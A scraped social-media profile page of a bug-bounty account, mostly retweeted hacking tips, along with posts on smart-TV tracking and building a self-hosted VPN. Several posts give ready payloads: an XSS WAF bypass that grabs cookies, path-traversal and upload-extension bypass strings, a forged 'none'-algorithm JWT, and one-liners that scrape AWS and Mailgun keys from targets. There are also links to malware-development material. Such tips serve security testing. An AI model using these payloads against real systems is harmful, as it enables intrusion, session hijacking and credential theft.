1024 Cyber Services (@1024Cyber) header
1024 Cyber Services (@1024Cyber) profile picture

● Penetration Testing ● Bug Bounty ● Threat Intelligence ● Github: https://nitter.cf/t.co/7qnPTiLHNS ● My Osint Bot: https://nitter.cf/t.co/VMlw4zWdEs

Earth
Joined February 2025
Photo by 1024 Cyber Services (@1024Cyber)Photo by 1024 Cyber Services (@1024Cyber)Photo by 1024 Cyber Services (@1024Cyber)Photo by 1024 Cyber Services (@1024Cyber)Photo by 1024 Cyber Services (@1024Cyber)Photo by 1024 Cyber Services (@1024Cyber)Photo by 1024 Cyber Services (@1024Cyber)Photo by 1024 Cyber Services (@1024Cyber)
1024 Cyber Services retweeted
Find Mailgun Keys in JavaScript with grep grep -aoE "key-[0-9a-zA-Z]{32}" target.js | sort -u
1
9
451
1024 Cyber Services retweeted
Server-Side Request Forgery via Payload Fuzzing Look fo Image importers, webhooks, PDF generators, and params like ?url=, ?image=, ?fetch= Test payload: http://127.0.0.1:80 If the response returns internal content or timing differs from an external fetch, it may indicate SSRF.
1
7
55
1,183
1024 Cyber Services retweeted
Find Admin Paths in JavaScript with grep grep -aoiE "["']^"'[^"']["']" target.js | sort -u
2
9
52
1,742
1024 Cyber Services retweeted
AWS Key Finders - Live Domain curl -s TARGET | grep -oP 'https?://[^"]+\.js' | xargs -I{} curl -s {} | grep -oP '\bA[KS]IA[0-9A-Z]{16}\b' - Public Repo git clone --depth=1 TARGET/repo.git /tmp/r && grep -rP '\bA[KS]IA[0-9A-Z]{16}\b' /tmp/r Long-term + temp keys, easy critical.
9
55
439
18,837
1024 Cyber Services retweeted
Find GraphQL Endpoints in JavaScript with grep Example: grep -aoE "(/graphql|/gql|/query)[a-zA-Z0-9_/?&=_-]*" target.js | sort -u
1
9
71
1,657
1024 Cyber Services retweeted
#ssti payload filter bypass: {{7*7}\u0000} #bugbounty #infosec #bugbountytricks
2
5
45
1,366
Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥 Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27> Remember to add payload to your list: 📝 #bugbountytips #bugbountytip #bugbounty
5
86
1
560
25,802
1024 Cyber Services retweeted
Extension Bypass V2 🔸 do.php%00.png 🔸 do.php%0A.png 🔸 do.php\n.png 🔸 do.php\u000a.png 🔸 do.php\u560a.png 🔸 do.php%E5%98%8A.png 🔸 do.php#.png 🔸 do.php%23.png 🔸 do.php\u0023.png 🔸 do.php;.png 🔸 do.php%3B.png 🔸 do.php\u003b.png 🔸 do.php\u563b.png 🔸 do.php%E5%98%BB.png
6
58
349
15,298
1024 Cyber Services retweeted
Path Traversal Bypasses Null Byte Injection ../../../etc/./passwd%00.png Stripped Dot-Dot-Slash ..././..././..././e../tc..//pas../swd Multi-Stage Decoding ..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd Truncation Appending (4096 bytes) ../../../etc/./passwd/././././././
2
96
1
571
18,616
1024 Cyber Services retweeted
JWT NoAlg Bypass (no sig needed) Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9. Change the fields below accordingly. echo -n '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}." #BugBounty #BrokenAuth
5
59
2
462
20,878
1024 Cyber Services retweeted
You've heard of SQL injection, but have you heard of NoSQL injection? In this video, we perform a full account takeover using NoSQL injection. We use the NoSQL injection to find the admin username, and reset their password! Learn this in our FREE labs 👇 portswigger.net/web-security…
1
80
500
35,594
1024 Cyber Services retweeted
One of the simplest (and most impactful) bugs to look for is switching out the algorithm on JWT tokens to "none". Here are the steps: 🟧 Decode the JWT and set the header to {"alg":"none","typ":"JWT"}. 🟧 Change the sub claim to {"sub":"administrator"}. 🟧 Strip the signature, keeping the trailing dot so the token ends in . 🟧 Send it! Try it yourself here 👇 portswigger.net/web-security…
6
59
506
20,571
1024 Cyber Services retweeted
1
41
10个GitHub仓库,能爬遍整个互联网 全部收藏。每个都能把任何网站的数据扒得干干净净。这种权限通常得走销售渠道、签合同才能有。
19
583
9
3,215
202,233
1024 Cyber Services retweeted
💀File upload extension bypass new method✅ in media upload section you can upload files like: .png .jpg .txt .mov but if you upload any php file it block: .php .jpg.php .php7 .shtml Bypass: ".php " (just add a simple space after .php) Join my channel t.me/ShellSec
9
49
344
19,901
1024 Cyber Services retweeted
RUST FOR MALWARE DEVELOPMENT 🦀🏴‍☠️ git.smukx.site/smukx/Rust-fo… #maldev #rust
4
120
3
743
31,043
1024 Cyber Services retweeted
Emulating Kimsuky's Initial Access 0x00sec.org/emulating-kimsuk…
2
66
2
303
18,104
1024 Cyber Services retweeted
Your smart TV takes a screenshot of your entire screen every 500 milliseconds. that's twice per second while you watch. The technology is called ACR. Automatic Content Recognition. It doesn't just track Netflix. it tracks your cable box. your gaming console. your laptop plugged in via HDMI. everything that appears on that screen. and it infers things from what you watch: your race. your religion. your politics. Those aren't my words, that's from the Texas Attorney General's lawsuit against Samsung, LG, Sony, Hisense, and TCL filed last year. Who buys this data: advertisers. data brokers. content networks. and political campaigns that use your viewing habits to target voters. Your TV is not just showing you content. It is building a profile on you and selling it. Texas sued five manufacturers. Samsung settled in February. The other four are still collecting. If you're not in Texas, you're on your own. Vizio got fined $2.2 million by the FTC in 2017 for doing this without consent. They paid the fine. They kept doing it, they just ask now. The opt-out is buried in your settings under names like "Viewing Information Services", "Live Plus", or "Interactivity Services."
Did you know your smart TV tracks everything you watch?
29
363
18
1,487
76,237
1024 Cyber Services retweeted
Commercial VPNs route your traffic through shared IP addresses. thousands of users on the same IP. those IPs are public, known, and listed. The government can block them the same way Netflix blocks them, one IP list. done. A self-hosted VPN is different. Your server. your IP. nobody else's traffic on it. there is no list to add it to. the government would have to identify and block your specific home address or VPS individually. that is not scalable. that is not what mass VPN bans do. here's how to build one in under 10 minutes. you need: — a $5/month VPS (DigitalOcean, Hetzner, Vultr — any will work) — Docker installed — 10 minutes step 1: get a VPS. pick any provider. Ubuntu 22.04. the cheapest plan works. step 2: install Docker on it. curl -fsSL https://get[.]docker[.]com | sh step 3: run WG-Easy. one command: docker run -d \ --name wg-easy \ -e WG_HOST=YOUR_SERVER_IP \ -e PASSWORD=your_password \ -p 51820:51820/udp \ -p 51821:51821/tcp \ --cap-add=NET_ADMIN \ --cap-add=SYS_MODULE \ --sysctl="net.ipv4.ip_forward=1" \ --restart unless-stopped \ ghcr[.]io/wg-easy/wg-easy step 4: open your browser. go to YOUR_SERVER_IP:51821. log in. click "new client." download the config. import it into the WireGuard app on your phone or laptop. that's it. you now have a private VPN that: — nobody else uses — isn't on any blocklist — costs $5 a month — logs nothing unless you tell it to — uses modern cryptography the NSA currently cannot break WireGuard is built into the Linux kernel. 4,000 lines of code. fully audited. faster than OpenVPN. no configuration mistakes that accidentally weaken your encryption. They cannot ban your server.
Did you know that you can create your own VPN service easy?
Readers added context they thought people might want to know
Self-hosted VPNs on VPS provide unique traceable IPs without the shared anonymity of commercial VPNs, and standard WireGuard is detectable/blockable by deep packet inspection. monovm.com/blog/self-host… dev.to/bivlked/amnezi…
160
805
43
6,619
564,101
1024 Cyber Services retweeted
Manually sifting through Burp requests in history for possible vulnerabilities you might have missed can be a tedious process... 😓 Burp AI Agent by @six2dez1 brings AI-powered passive and active scanning to Burp Suite, covering 62 vulnerability classes with 10 backend options, including fully local models via Ollama! 🤠 Check it out! 👇 github.com/six2dez/burp-ai-a…
1
31
227
12,508